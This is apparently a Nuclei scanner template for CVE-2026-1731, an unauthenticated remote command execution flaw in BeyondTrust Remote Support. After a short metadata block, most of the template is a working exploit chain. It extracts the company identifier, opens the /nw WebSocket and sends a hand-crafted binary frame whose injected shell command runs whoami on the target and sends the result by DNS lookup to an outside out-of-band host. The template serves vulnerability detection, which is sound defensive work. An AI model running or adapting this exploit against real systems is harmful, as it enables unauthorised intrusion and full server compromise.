id: CVE-2026-1731 info: name: BeyondTrust Remote Support - Unauthenticated WebSocket RCE author: attackerkb,hacktron,pdteam severity: critical description: | BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server. impact: | Remote attackers can execute arbitrary commands on the system without authentication, potentially leading to full system compromise. remediation: | Apply the latest security patches provided by BeyondTrust for Remote Support and Privileged Remote Access products. reference: - https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis - https://www.hacktron.ai/blog/cve-2026-1731-beyondtrust-remote-support-rce - https://www.beyondtrust.com/trust-center/security-advisories/bt26-02 classification: cve-id: CVE-2026-1731 epss-score: 0.80065 epss-percentile: 0.99136 cwe-id: CWE-78 metadata: verified: true max-request: 2 vendor: beyondtrust product: remote_support shodan-query: http.html:"BeyondTrust" tags: cve,cve2026,beyondtrust,rce,websocket,oob,js,vuln,vkev,kev flow: http(1) && javascript(1) http: - raw: - | GET /get_mech_list?version=3 HTTP/1.1 Host: {{Hostname}} Accept: application/json matchers: - type: word part: body words: - "company" internal: true extractors: - type: regex name: company part: body group: 1 regex: - '"default_company"\s*:\s*"([^"]+)"' internal: true javascript: - code: | const net = require("nuclei/net"); const nb = require("nuclei/bytes"); let address = Host + ":443"; let conn; try { conn = net.OpenTLS('tcp', address); } catch(e) { conn = net.Open('tcp', address); } // Step 1: WebSocket upgrade handshake let handshake = "GET /nw HTTP/1.1\r\n"; handshake += "Host: " + Host + "\r\n"; handshake += "Upgrade: websocket\r\n"; handshake += "Connection: Upgrade\r\n"; handshake += "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"; handshake += "Sec-WebSocket-Version: 13\r\n"; handshake += "Sec-WebSocket-Protocol: ingredi support desk customer thin\r\n"; handshake += "X-Ns-Company: " + company + "\r\n"; handshake += "\r\n"; conn.Send(handshake); let resp = conn.RecvString(4096); let result = ""; if (resp.indexOf("101") !== -1) { // Step 2: Build binary WebSocket frame with command injection payload let payload = "hax[$(/usr/bin/nslookup $(whoami)." + oob + ")]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n"; let buf = new nb.Buffer(); buf.WriteString(payload); let payloadHex = buf.Hex(); let payloadLen = buf.Len(); // WebSocket frame structure: // Byte 1: FIN=1 + RSV=000 + Opcode=0010 (binary) = 0x82 // Byte 2: MASK=1 + payload length // If length < 126: single byte (7-bit length) // If length 126-65535: byte=126, then 2-byte big-endian length // Masking key: 00000000 (no-op XOR mask) let frameHeader = "82"; if (payloadLen < 126) { frameHeader += (0x80 | payloadLen).toString(16).padStart(2, '0'); } else { frameHeader += "fe"; // 0x80 | 126 frameHeader += ((payloadLen >> 8) & 0xFF).toString(16).padStart(2, '0'); frameHeader += (payloadLen & 0xFF).toString(16).padStart(2, '0'); } frameHeader += "00000000"; let frameHex = frameHeader + payloadHex; conn.SendHex(frameHex); result = conn.RecvString(4096); } conn.Close(); result; args: Host: "{{Host}}" company: "{{company}}" oob: "{{interactsh-url}}" matchers: - type: dsl dsl: - 'contains(interactsh_protocol, "dns")' extractors: - type: regex group: 1 part: interactsh_request regex: - '([a-zA-Z0-9_-]+)\.[a-z0-9]{20,}\.' # digest: 4a0a00473045022100b09fbab7d112fe446979d55a4173fa5c5d0335d52acf56bffbb8244162e4f38a0220446358d6c5e9a8b3eccff6322472e49ffd337b5a0d0ee8dfcbaadd8401eec8ec:922c64590222798bb761d5b6d8e72950